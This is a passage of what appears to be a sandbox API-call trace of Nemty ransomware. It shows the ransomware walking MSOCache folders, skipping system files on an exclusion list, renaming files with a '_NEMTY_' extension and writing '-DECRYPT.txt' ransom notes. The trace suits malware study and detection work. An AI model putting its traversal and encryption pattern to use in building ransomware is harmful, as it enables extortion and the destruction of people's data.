lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x640, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x640, lpOverlapped=0x0) returned 1 [0047.315] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.315] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x640, lpOverlapped=0x0) returned 1 [0047.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.315] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x648 [0047.316] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.316] CloseHandle (hObject=0x3c8) returned 1 [0047.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0047.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.317] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0047.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.317] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfd68db0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcfd68db0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfd68db0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0047.317] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0047.317] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0047.317] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0047.317] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0047.317] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0047.317] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0047.317] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0047.318] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0047.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0047.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0047.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0047.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.319] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfd68db0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcfd68db0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfd68db0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0047.319] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0047.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0047.319] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0047.319] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0047.320] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0047.320] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0047.320] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0047.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91618 [0047.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-001A-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-001A-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-001A-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0047.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-001A-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-001A-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-001A-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0047.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0047.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0047.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0047.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0047.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0047.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.320] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0047.324] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.324] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0047.325] CloseHandle (hObject=0x3c4) returned 1 [0047.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0047.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0047.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0047.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0047.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0047.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0047.325] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0047.326] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.326] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0047.327] CloseHandle (hObject=0x3c4) returned 1 [0047.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0047.327] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcfe73750, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfe73750, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0047.327] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.327] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcfe73750, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfe73750, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0047.327] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.328] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.328] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2=".") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="..") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="...") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="windows") returned -1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="$RECYCLE.BIN") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="rsa") returned -1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="NTDETECT.COM") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="ntldr") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="MSDOS.SYS") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="IO.SYS") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="boot.ini") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", 